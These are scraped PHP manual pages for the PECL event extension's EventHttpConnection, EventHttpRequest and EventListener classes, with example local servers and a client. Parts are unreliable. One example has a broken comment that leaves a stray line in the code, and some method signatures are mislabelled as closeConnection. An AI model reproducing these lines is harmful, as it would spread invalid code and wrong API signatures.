  • EventHttpConnection
  • Set callback for connection close

EventHttpConnection::setCloseCallback

(PECL event >= 1.8.0)

EventHttpConnection::setCloseCallback — Set callback for connection close

説明

public EventHttpConnection::setCloseCallback ( callable $callback , mixed $data = ? ) : void

Sets callback for connection close.

パラメータ

callback

Callback which is called when connection is closed. Should match the following prototype:

callback ( EventHttpConnection $conn = null , mixed $arg = null ) : void

返り値

値を返しません。

例

例1 EventHttpConnection::setCloseCallback() example

<?php
/*
 * Setting up close-connection callback
 *
 * The script handles closed connections using HTTP API.
 *
 * Usage:
 * 1) Launch the server:
 * $ php examples/http_closecb.php 4242
 *
 * 2) Launch a client in another terminal. Telnet-like
 * session should look like the following:
 *
 * $ nc -t 127.0.0.1 4242
 * GET / HTTP/1.0
 * Connection: close
 *
 * The server will output something similar to the following:
 *
 * HTTP/1.0 200 OK
 * Content-Type: multipart/x-mixed-replace;boundary=boundarydonotcross
 * Connection: close
 *
 * <html>
 *
 * 3) Terminate the client connection abruptly,
 * i.e. kill the process, or just press Ctrl-C.
 *
 * 4) Check if the server called _close_callback.
 * The script should output "_close_callback" string to standard output.
 *
 * 5) Check if the server's process has no orphaned connections,
 * e.g. with `lsof` utility.
 */

function _close_callback($conn)
{
    echo __FUNCTION__, PHP_EOL;
}

function _http_default($req, $dummy)
{
    $conn = $req->getConnection();
    $conn->setCloseCallback('_close_callback', NULL);

    /*
    By enabling Event::READ we protect the server against unclosed conections.
    This is a peculiarity of Libevent. The library disables Event::READ events
     on this connection, and the server is not notified about terminated
    connections.

    So each time client terminates connection abruptly, we get an orphaned
    connection. For instance, the following is a part of `lsof -p $PID | grep TCP`
    command after client has terminated connection:

    57-php     15057 ruslan  6u  unix 0xffff8802fb59c780   0t0  125187 socket
    58:php     15057 ruslan  7u  IPv4             125189   0t0     TCP *:4242 (LISTEN)
    59:php     15057 ruslan  8u  IPv4             124342   0t0     TCP localhost:4242->localhost:37375 (CLOSE_WAIT)

    where $PID is our process ID.

    The following block of code fixes such kind of orphaned connections.
     */
    $bev = $req->getBufferEvent();
    $bev->enable(Event::READ);
    // We have to free it explicitly. See
EventHttpRequest::getConnection()
$bev->free(); // we have to free it explicitly

    $req->addHeader(
        'Content-Type',
        'multipart/x-mixed-replace;boundary=boundarydonotcross',
        EventHttpRequest::OUTPUT_HEADER
    );

    $buf = new EventBuffer();
    $buf->add('<html>');

    $req->sendReply(200, "OK");
    $req->sendReplyChunk($buf);
}

$port = 4242;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setDefaultCallback("_http_default", NULL);
$http->bind("0.0.0.0", $port);
$base->loop();

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the IP address from which HTTP connections are made

  • ≪ EventHttpConnection::setCloseCallback
  • EventHttpConnection::setLocalPort ≫
  • PHP Manual
  • EventHttpConnection
  • Sets the IP address from which HTTP connections are made

EventHttpConnection::setLocalAddress

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made

説明

public EventHttpConnection::setLocalAddress ( string $address ) : void

Sets the IP address from which http connections are made.

パラメータ

address

The IP address from which HTTP connections are made.

返り値

値を返しません。

参考

  • EventHttpConnection::setLocalPort() - Sets the local port from which connections are made

User Contributed Notes

There are no user contributed notes for this page.


Sets the local port from which connections are made

  • ≪ EventHttpConnection::setLocalAddress
  • EventHttpConnection::setMaxBodySize ≫
  • PHP Manual
  • EventHttpConnection
  • Sets the local port from which connections are made

EventHttpConnection::setLocalPort

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalPort — Sets the local port from which connections are made

説明

public EventHttpConnection::setLocalPort ( int $port ) : void

Sets the local port from which connections are made.

パラメータ

port

The port number.

返り値

参考

  • EventHttpConnection::setLocalAddress() - Sets the IP address from which HTTP connections are made

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum body size for the connection

  • ≪ EventHttpConnection::setLocalPort
  • EventHttpConnection::setMaxHeadersSize ≫
  • PHP Manual
  • EventHttpConnection
  • Sets maximum body size for the connection

EventHttpConnection::setMaxBodySize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection

説明

public EventHttpConnection::setMaxBodySize ( string $max_size ) : void

Sets maximum body size for the connection.

パラメータ

max_size

The maximum body size in bytes.

返り値

値を返しません。

参考

  • EventHttpConnection::setMaxHeadersSize() - Sets maximum header size

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum header size

  • ≪ EventHttpConnection::setMaxBodySize
  • EventHttpConnection::setRetries ≫
  • PHP Manual
  • EventHttpConnection
  • Sets maximum header size

EventHttpConnection::setMaxHeadersSize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxHeadersSize — Sets maximum header size

説明

public EventHttpConnection::setMaxHeadersSize ( string $max_size ) : void

Sets maximum header size for the connection.

パラメータ

max_size

The maximum header size in bytes.

返り値

値を返しません。

参考

  • EventHttpConnection::setMaxBodySize() - Sets maximum body size for the connection

User Contributed Notes

There are no user contributed notes for this page.


Sets the retry limit for the connection

  • ≪ EventHttpConnection::setMaxHeadersSize
  • EventHttpConnection::setTimeout ≫
  • PHP Manual
  • EventHttpConnection
  • Sets the retry limit for the connection

EventHttpConnection::setRetries

(PECL event >= 1.2.6-beta)

EventHttpConnection::setRetries — Sets the retry limit for the connection

説明

public EventHttpConnection::setRetries ( int $retries ) : void

Sets the retry limit for the connection

パラメータ

retries

The retry limit. -1 means infinity.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Sets the timeout for the connection

  • ≪ EventHttpConnection::setRetries
  • EventHttpRequest ≫
  • PHP Manual
  • EventHttpConnection
  • Sets the timeout for the connection

EventHttpConnection::setTimeout

(PECL event >= 1.2.6-beta)

EventHttpConnection::setTimeout — Sets the timeout for the connection

説明

public EventHttpConnection::setTimeout ( int $timeout ) : void

Sets the timeout for the connection

パラメータ

timeout

Timeout in seconds.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The EventHttpRequest class

(PECL event >= 1.4.0-beta)

はじめに

Represents an HTTP request.

クラス概要

EventHttpRequest {
/* Constants */
const int CMD_GET = 1 ;
const int CMD_POST = 2 ;
const int CMD_HEAD = 4 ;
const int CMD_PUT = 8 ;
const int CMD_DELETE = 16 ;
const int CMD_OPTIONS = 32 ;
const int CMD_TRACE = 64 ;
const int CMD_CONNECT = 128 ;
const int CMD_PATCH = 256 ;
const int INPUT_HEADER = 1 ;
const int OUTPUT_HEADER = 2 ;
/* メソッド */
public addHeader ( string $key , string $value , int $type ) : bool
public cancel ( ) : void
public clearHeaders ( ) : void
public closeConnection ( ) : void
public __construct ( callable $callback , mixed $data = null )
public findHeader ( string $key , string $type ) : void
public free ( ) : void
public closeConnection ( ) : EventBufferEvent
public getCommand ( ) : void
public closeConnection ( ) : EventHttpConnection
public getHost ( ) : string
public getInputBuffer ( ) : EventBuffer
public getInputHeaders ( ) : array
public getOutputBuffer ( ) : EventBuffer
public getOutputHeaders ( ) : void
public getResponseCode ( ) : int
public getUri ( ) : string
public removeHeader ( string $key , string $type ) : void
public sendError ( int $error , string $reason = null ) : void
public sendReply ( int $code , string $reason , EventBuffer $buf = ? ) : void
public sendReplyChunk ( EventBuffer $buf ) : void
public sendReplyEnd ( ) : void
public sendReplyStart ( int $code , string $reason ) : void
}

定義済み定数

EventHttpRequest::CMD_GET

GET method(command)

EventHttpRequest::CMD_POST

POST method(command)

EventHttpRequest::CMD_HEAD

HEAD method(command)

EventHttpRequest::CMD_PUT

PUT method(command)

EventHttpRequest::CMD_DELETE

DELETE command(method)

EventHttpRequest::CMD_OPTIONS

OPTIONS method(command)

EventHttpRequest::CMD_TRACE

TRACE method(command)

EventHttpRequest::CMD_CONNECT

CONNECT method(command)

EventHttpRequest::CMD_PATCH

PATCH method(command)

EventHttpRequest::INPUT_HEADER

Request input header type.

EventHttpRequest::OUTPUT_HEADER

Request output header type.

目次

  • EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request
  • EventHttpRequest::cancel — Cancels a pending HTTP request
  • EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request
  • EventHttpRequest::closeConnection — Closes associated HTTP connection
  • EventHttpRequest::__construct — Constructs EventHttpRequest object
  • EventHttpRequest::findHeader — Finds the value belonging a header
  • EventHttpRequest::free — Frees the object and removes associated events
  • EventHttpRequest::getBufferEvent — Returns EventBufferEvent object
  • EventHttpRequest::getCommand — Returns the request command(method)
  • EventHttpRequest::getConnection — Returns EventHttpConnection object
  • EventHttpRequest::getHost — Returns the request host
  • EventHttpRequest::getInputBuffer — Returns the input buffer
  • EventHttpRequest::getInputHeaders — Returns associative array of the input headers
  • EventHttpRequest::getOutputBuffer — Returns the output buffer of the request
  • EventHttpRequest::getOutputHeaders — Returns associative array of the output headers
  • EventHttpRequest::getResponseCode — Returns the response code
  • EventHttpRequest::getUri — Returns the request URI
  • EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request
  • EventHttpRequest::sendError — Send an HTML error message to the client
  • EventHttpRequest::sendReply — Send an HTML reply to the client
  • EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply
  • EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate
  • EventHttpRequest::sendReplyStart — Initiate a chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Adds an HTTP header to the headers of the request

  • ≪ EventHttpRequest
  • EventHttpRequest::cancel ≫
  • PHP Manual
  • EventHttpRequest
  • Adds an HTTP header to the headers of the request

EventHttpRequest::addHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request

説明

public EventHttpRequest::addHeader ( string $key , string $value , int $type ) : bool

Adds an HTTP header to the headers of the request.

パラメータ

key

Header name.

value

Header value.

type

One of EventHttpRequest::*_HEADER constants .

返り値

Returns true on success. Otherwise false.

参考

  • EventHttpRequest::removeHeader() - Removes an HTTP header from the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Cancels a pending HTTP request

  • ≪ EventHttpRequest::addHeader
  • EventHttpRequest::clearHeaders ≫
  • PHP Manual
  • EventHttpRequest
  • Cancels a pending HTTP request

EventHttpRequest::cancel

(PECL event >= 1.4.0-beta)

EventHttpRequest::cancel — Cancels a pending HTTP request

説明

public EventHttpRequest::cancel ( ) : void

Cancels a pending HTTP request.

Cancels an ongoing HTTP request. The callback associated with this request is not executed and the request object is freed. If the request is currently being processed, e.g. it is ongoing, the corresponding EventHttpConnection object is going to get reset.

A request cannot be canceled if its callback has executed already. A request may be canceled reentrantly from its chunked callback.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Removes all output headers from the header list of the request

  • ≪ EventHttpRequest::cancel
  • EventHttpRequest::closeConnection ≫
  • PHP Manual
  • EventHttpRequest
  • Removes all output headers from the header list of the request

EventHttpRequest::clearHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request

説明

public EventHttpRequest::clearHeaders ( ) : void

Removes all output headers from the header list of the request.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Closes associated HTTP connection

  • ≪ EventHttpRequest::clearHeaders
  • EventHttpRequest::__construct ≫
  • PHP Manual
  • EventHttpRequest
  • Closes associated HTTP connection

EventHttpRequest::closeConnection

(PECL event >= 1.8.0)

EventHttpRequest::closeConnection — Closes associated HTTP connection

説明

public EventHttpRequest::closeConnection ( ) : void

Closes HTTP connection associated with the request.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttpRequest object

  • ≪ EventHttpRequest::closeConnection
  • EventHttpRequest::findHeader ≫
  • PHP Manual
  • EventHttpRequest
  • Constructs EventHttpRequest object

EventHttpRequest::__construct

(PECL event >= 1.4.0-beta)

EventHttpRequest::__construct — Constructs EventHttpRequest object

説明

public EventHttpRequest::__construct ( callable $callback , mixed $data = null )

Constructs EventHttpRequest object.

パラメータ

callback

Gets invoked on requesting path. Should match the following prototype:

callback ( EventHttpRequest $req = null , mixed $arg = null ) : void
data

User custom data passed to the callback.

返り値

Returns EventHttpRequest object.

例

例1 EventHttpRequest::__construct() example

<?php

function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

参考

  • EventHttpRequest::cancel() - Cancels a pending HTTP request
  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Finds the value belonging a header

  • ≪ EventHttpRequest::__construct
  • EventHttpRequest::free ≫
  • PHP Manual
  • EventHttpRequest
  • Finds the value belonging a header

EventHttpRequest::findHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::findHeader — Finds the value belonging a header

説明

public EventHttpRequest::findHeader ( string $key , string $type ) : void

Finds the value belonging a header.

パラメータ

key

The header name.

type

One of EventHttpRequest::*_HEADER constants .

返り値

Returns null if header not found.

参考

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Frees the object and removes associated events

  • ≪ EventHttpRequest::findHeader
  • EventHttpRequest::getBufferEvent ≫
  • PHP Manual
  • EventHttpRequest
  • Frees the object and removes associated events

EventHttpRequest::free

(PECL event >= 1.4.0-beta)

EventHttpRequest::free — Frees the object and removes associated events

説明

public EventHttpRequest::free ( ) : void

Frees the object and removes associated events.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns EventBufferEvent object

  • ≪ EventHttpRequest::free
  • EventHttpRequest::getCommand ≫
  • PHP Manual
  • EventHttpRequest
  • Returns EventBufferEvent object

EventHttpRequest::getBufferEvent

(PECL event >= 1.8.0)

EventHttpRequest::getBufferEvent — Returns EventBufferEvent object

説明

public EventHttpRequest::closeConnection ( ) : EventBufferEvent

Returns EventBufferEvent object which represents buffer event that the connection is using.

警告

The reference counter of the returned object will be incremented by one to protect internal structures against premature destruction when the method is called from a user callback. So the EventBufferEvent object should be freed explicitly with EventBufferEvent::free() method. Otherwise memory will leak.

パラメータ

この関数にはパラメータはありません。

返り値

Returns EventBufferEvent object.

参考

  • EventHttpRequest::getConnection() - Returns EventHttpConnection object

User Contributed Notes

There are no user contributed notes for this page.


Returns the request command(method)

  • ≪ EventHttpRequest::getBufferEvent
  • EventHttpRequest::getConnection ≫
  • PHP Manual
  • EventHttpRequest
  • Returns the request command(method)

EventHttpRequest::getCommand

(PECL event >= 1.4.0-beta)

EventHttpRequest::getCommand — Returns the request command(method)

説明

public EventHttpRequest::getCommand ( ) : void

Returns the request command, one of EventHttpRequest::CMD_* constants.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the request command, one of EventHttpRequest::CMD_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns EventHttpConnection object

  • ≪ EventHttpRequest::getCommand
  • EventHttpRequest::getHost ≫
  • PHP Manual
  • EventHttpRequest
  • Returns EventHttpConnection object

EventHttpRequest::getConnection

(PECL event >= 1.8.0)

EventHttpRequest::getConnection — Returns EventHttpConnection object

説明

public EventHttpRequest::closeConnection ( ) : EventHttpConnection

Returns EventHttpConnection object which represents HTTP connection associated with the request.

警告

Libevent API allows HTTP request objects to be not bound to any HTTP connection. Therefore we can't unambiguously associate EventHttpRequest with EventHttpConnection . Thus, we construct EventHttpConnection object on-the-fly. Having no information about the event base, DNS base and connection-close callback, we just leave these fields unset.

EventHttpRequest::getConnection() method is usually useful when we need to set up a callback on connection close. See EventHttpConnection::setCloseCallback() .

パラメータ

この関数にはパラメータはありません。

返り値

Returns EventHttpConnection object.

参考

  • EventHttpConnection::setCloseCallback() - Set callback for connection close
  • EventHttpRequest::getBufferEvent() - Returns EventBufferEvent object

User Contributed Notes

There are no user contributed notes for this page.


Returns the request host

  • ≪ EventHttpRequest::getConnection
  • EventHttpRequest::getInputBuffer ≫
  • PHP Manual
  • EventHttpRequest
  • Returns the request host

EventHttpRequest::getHost

(PECL event >= 1.4.0-beta)

EventHttpRequest::getHost — Returns the request host

説明

public EventHttpRequest::getHost ( ) : string

Returns the request host.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the request host.

参考

  • EventHttpRequest::getUri() - Returns the request URI
  • EventHttpRequest::getCommand() - Returns the request command(method)

User Contributed Notes

There are no user contributed notes for this page.


Returns the input buffer

  • ≪ EventHttpRequest::getHost
  • EventHttpRequest::getInputHeaders ≫
  • PHP Manual
  • EventHttpRequest
  • Returns the input buffer

EventHttpRequest::getInputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputBuffer — Returns the input buffer

説明

public EventHttpRequest::getInputBuffer ( ) : EventBuffer

Returns the input buffer.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the input buffer.

参考

  • EventHttpRequest::getOutputBuffer() - Returns the output buffer of the request

User Contributed Notes

There are no user contributed notes for this page.


Returns associative array of the input headers

  • ≪ EventHttpRequest::getInputBuffer
  • EventHttpRequest::getOutputBuffer ≫
  • PHP Manual
  • EventHttpRequest
  • Returns associative array of the input headers

EventHttpRequest::getInputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputHeaders — Returns associative array of the input headers

説明

public EventHttpRequest::getInputHeaders ( ) : array

Returns associative array of the input headers.

パラメータ

この関数にはパラメータはありません。

返り値

Returns associative array of the input headers.

参考

  • EventHttpRequest::getOutputHeaders() - Returns associative array of the output headers

User Contributed Notes

There are no user contributed notes for this page.


Returns the output buffer of the request

  • ≪ EventHttpRequest::getInputHeaders
  • EventHttpRequest::getOutputHeaders ≫
  • PHP Manual
  • EventHttpRequest
  • Returns the output buffer of the request

EventHttpRequest::getOutputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputBuffer — Returns the output buffer of the request

説明

public EventHttpRequest::getOutputBuffer ( ) : EventBuffer

Returns the output buffer of the request.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the output buffer of the request.

参考

  • EventHttpRequest::getInputBuffer() - Returns the input buffer

User Contributed Notes

There are no user contributed notes for this page.


Returns associative array of the output headers

  • ≪ EventHttpRequest::getOutputBuffer
  • EventHttpRequest::getResponseCode ≫
  • PHP Manual
  • EventHttpRequest
  • Returns associative array of the output headers

EventHttpRequest::getOutputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputHeaders — Returns associative array of the output headers

説明

public EventHttpRequest::getOutputHeaders ( ) : void

Returns associative array of the output headers.

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • EventHttpRequest::getInputHeaders() - Returns associative array of the input headers

User Contributed Notes

There are no user contributed notes for this page.


Returns the response code

  • ≪ EventHttpRequest::getOutputHeaders
  • EventHttpRequest::getUri ≫
  • PHP Manual
  • EventHttpRequest
  • Returns the response code

EventHttpRequest::getResponseCode

(PECL event >= 1.4.0-beta)

EventHttpRequest::getResponseCode — Returns the response code

説明

public EventHttpRequest::getResponseCode ( ) : int

Returns the response code.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the response code of the request.

参考

  • EventHttpRequest::getCommand() - Returns the request command(method)
  • EventHttpRequest::getHost() - Returns the request host
  • EventHttpRequest::getUri() - Returns the request URI

User Contributed Notes

There are no user contributed notes for this page.


Returns the request URI

  • ≪ EventHttpRequest::getResponseCode
  • EventHttpRequest::removeHeader ≫
  • PHP Manual
  • EventHttpRequest
  • Returns the request URI

EventHttpRequest::getUri

(PECL event >= 1.4.0-beta)

EventHttpRequest::getUri — Returns the request URI

説明

public EventHttpRequest::getUri ( ) : string

Returns the request URI

パラメータ

この関数にはパラメータはありません。

返り値

Returns the request URI

参考

  • EventHttpRequest::getCommand() - Returns the request command(method)
  • EventHttpRequest::getHost() - Returns the request host
  • EventHttpRequest::getResponseCode() - Returns the response code

User Contributed Notes

There are no user contributed notes for this page.


Removes an HTTP header from the headers of the request

  • ≪ EventHttpRequest::getUri
  • EventHttpRequest::sendError ≫
  • PHP Manual
  • EventHttpRequest
  • Removes an HTTP header from the headers of the request

EventHttpRequest::removeHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request

説明

public EventHttpRequest::removeHeader ( string $key , string $type ) : void

Removes an HTTP header from the headers of the request.

パラメータ

key

The header name.

type

type is one of EventHttpRequest::*_HEADER constants.

返り値

Removes an HTTP header from the headers of the request.

参考

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Send an HTML error message to the client

  • ≪ EventHttpRequest::removeHeader
  • EventHttpRequest::sendReply ≫
  • PHP Manual
  • EventHttpRequest
  • Send an HTML error message to the client

EventHttpRequest::sendError

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendError — Send an HTML error message to the client

説明

public EventHttpRequest::sendError ( int $error , string $reason = null ) : void

Send an HTML error message to the client.

パラメータ

error

The HTTP error code.

reason

A brief explanation ofthe error. If null, the standard meaning of the error code will be used.

返り値

値を返しません。

例

例1 EventHttpRequest::sendError() example

<?php
function _http_400($req) {
    $req->sendError(400);
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setCallback("/err400", "_http_400");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

参考

  • EventHttpRequest::sendReply() - Send an HTML reply to the client

User Contributed Notes

There are no user contributed notes for this page.


Send an HTML reply to the client

  • ≪ EventHttpRequest::sendError
  • EventHttpRequest::sendReplyChunk ≫
  • PHP Manual
  • EventHttpRequest
  • Send an HTML reply to the client

EventHttpRequest::sendReply

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReply — Send an HTML reply to the client

説明

public EventHttpRequest::sendReply ( int $code , string $reason , EventBuffer $buf = ? ) : void

Send an HTML reply to the client. The body of the reply consists of data in optional buf parameter.

パラメータ

code

The HTTP response code to send.

reason

A brief message to send with the response code.

buf

The body of the response.

返り値

値を返しません。

参考

  • EventHttpRequest::sendError() - Send an HTML error message to the client
  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Send another data chunk as part of an ongoing chunked reply

  • ≪ EventHttpRequest::sendReply
  • EventHttpRequest::sendReplyEnd ≫
  • PHP Manual
  • EventHttpRequest
  • Send another data chunk as part of an ongoing chunked reply

EventHttpRequest::sendReplyChunk

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply

説明

public EventHttpRequest::sendReplyChunk ( EventBuffer $buf ) : void

Send another data chunk as part of an ongoing chunked reply. After calling this method buf will be empty.

パラメータ

buf

The data chunk to send as part of the reply.

返り値

値を返しません。

参考

  • EventHttpRequest::sendReplyStart() - Initiate a chunked reply
  • EventHttpRequest::sendReplyEnd() - Complete a chunked reply, freeing the request as appropriate

User Contributed Notes

There are no user contributed notes for this page.


Complete a chunked reply, freeing the request as appropriate

  • ≪ EventHttpRequest::sendReplyChunk
  • EventHttpRequest::sendReplyStart ≫
  • PHP Manual
  • EventHttpRequest
  • Complete a chunked reply, freeing the request as appropriate

EventHttpRequest::sendReplyEnd

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate

説明

public EventHttpRequest::sendReplyEnd ( ) : void

Complete a chunked reply, freeing the request as appropriate.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EventHttpRequest::sendReplyStart() - Initiate a chunked reply
  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Initiate a chunked reply

  • ≪ EventHttpRequest::sendReplyEnd
  • EventListener ≫
  • PHP Manual
  • EventHttpRequest
  • Initiate a chunked reply

EventHttpRequest::sendReplyStart

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyStart — Initiate a chunked reply

説明

public EventHttpRequest::sendReplyStart ( int $code , string $reason ) : void

Initiate a reply that uses Transfer-Encoding chunked .

This allows the caller to stream the reply back to the client and is useful when either not all of the reply data is immediately available or when sending very large replies.

The caller needs to supply data chunks with EventHttpRequest::sendReplyChunk() and complete the reply by calling EventHttpRequest::sendReplyEnd() .

パラメータ

code

The HTTP response code to send.

reason

A brief message to send with the response code.

返り値

値を返しません。

参考

  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply
  • EventHttpRequest::sendReplyEnd() - Complete a chunked reply, freeing the request as appropriate

User Contributed Notes

There are no user contributed notes for this page.


The EventListener class

(PECL event >= 1.5.0)

はじめに

Represents a connection listener.

クラス概要

final EventListener {
/* Constants */
const int OPT_LEAVE_SOCKETS_BLOCKING = 1 ;
const int OPT_CLOSE_ON_FREE = 2 ;
const int OPT_CLOSE_ON_EXEC = 4 ;
const int OPT_REUSEABLE = 8 ;
const int OPT_THREADSAFE = 16 ;
/* プロパティ */
public readonly int $fd ;
/* メソッド */
public __construct ( EventBase $base , callable $cb , mixed $data , int $flags , int $backlog , mixed $target )
public disable ( ) : bool
public enable ( ) : bool
public getBase ( ) : void
public static getSocketName ( string &$address , mixed &$port = ? ) : bool
public setCallback ( callable $cb , mixed $arg = null ) : void
public setErrorCallback ( string $cb ) : void
}

プロパティ

fd

Numeric file descriptor of the underlying socket. (Added in event-1.6.0 .)

定義済み定数

EventListener::OPT_LEAVE_SOCKETS_BLOCKING

By default Libevent turns underlying file descriptors, or sockets, to non-blocking mode. This flag tells Libevent to leave them in blocking mode.

EventListener::OPT_CLOSE_ON_FREE

If this option is set, the connection listener closes its underlying socket when the EventListener object is freed.

EventListener::OPT_CLOSE_ON_EXEC

If this option is set, the connection listener sets the close-on-exec flag on the underlying listener socket. See platform documentation for fcntl and FD_CLOEXEC for more information.

EventListener::OPT_REUSEABLE

By default on some platforms, once a listener socket is closed, no other socket can bind to the same port until a while has passed. Setting this option makes Libevent mark the socket as reusable, so that once it is closed, another socket can be opened to listen on the same port.

EventListener::OPT_THREADSAFE

Allocate locks for the listener, so that it's safe to use it from multiple threads.

目次

  • EventListener::__construct — Creates new connection listener associated with an event base
  • EventListener::disable — Disables an event connect listener object
  • EventListener::enable — Enables an event connect listener object
  • EventListener::getBase — Returns event base associated with the event listener
  • EventListener::getSocketName — Retreives the current address to which the listener's socket is bound
  • EventListener::setCallback — The setCallback purpose
  • EventListener::setErrorCallback — Set event listener's error callback

User Contributed Notes

There are no user contributed notes for this page.


Creates new connection listener associated with an event base

  • ≪ EventListener
  • EventListener::disable ≫
  • PHP Manual
  • EventListener
  • Creates new connection listener associated with an event base

EventListener::__construct

(PECL event >= 1.2.6-beta)

EventListener::__construct — Creates new connection listener associated with an event base

説明

public EventListener::__construct ( EventBase $base , callable $cb , mixed $data , int $flags , int $backlog , mixed $target )

Creates new connection listener associated with an event base.

パラメータ

base

Associated event base.

cb

A callable that will be invoked when new connection received.

data

Custom user data attached to cb .

flags

Bit mask of EventListener::OPT_* constants. See EventListener constants .

backlog

Controls the maximum number of pending connections that the network stack should allow to wait in a not-yet-accepted state at any time; see documentation for your system's listen function for more details. If backlog is negative, Libevent tries to pick a good value for the backlog ; if it is zero, Event assumes that listen is already called on the socket( target )

target

May be string, socket resource, or a stream associated with a socket. In case if target is a string, the string will be parsed as network address. It will be interpreted as a UNIX domain socket path, if prefixed with 'unix:' , e.g. 'unix:/tmp/my.sock' .

返り値

Returns EventListener object representing the event connection listener.

変更履歴

バージョン | 説明
PECL event 1.5.0 | UNIX domain sockets' support added.

例

例1 EventListener::__construct() example

<?php
/*
 * Simple echo server based on libevent's connection listener.
 *
 * Usage:
 * 1) In one terminal window run:
 *
 * $ php listener.php 9881
 *
 * 2) In another terminal window open up connection, e.g.:
 *
 * $ nc 127.0.0.1 9881
 *
 * 3) start typing. The server should repeat the input.
 */

class MyListenerConnection {
    private $bev, $base;

    public function __destruct() {
        $this->bev->free();
    }

    public function __construct($base, $fd) {
        $this->base = $base;

        $this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

        $this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
            array($this, "echoEventCallback"), NULL);

        if (!$this->bev->enable(Event::READ)) {
            echo "Failed to enable READ\n";
            return;
        }
    }

    public function echoReadCallback($bev, $ctx) {
        // Copy all the data from the input buffer to the output buffer

        // Variant #1
        $bev->output->addBuffer($bev->input);

        /* Variant #2 */
        /*
        $input    = $bev->getInput();
        $output = $bev->getOutput();
        $output->addBuffer($input);
        */
    }

    public function echoEventCallback($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            //$bev->free();
            $this->__destruct();
        }
    }
}

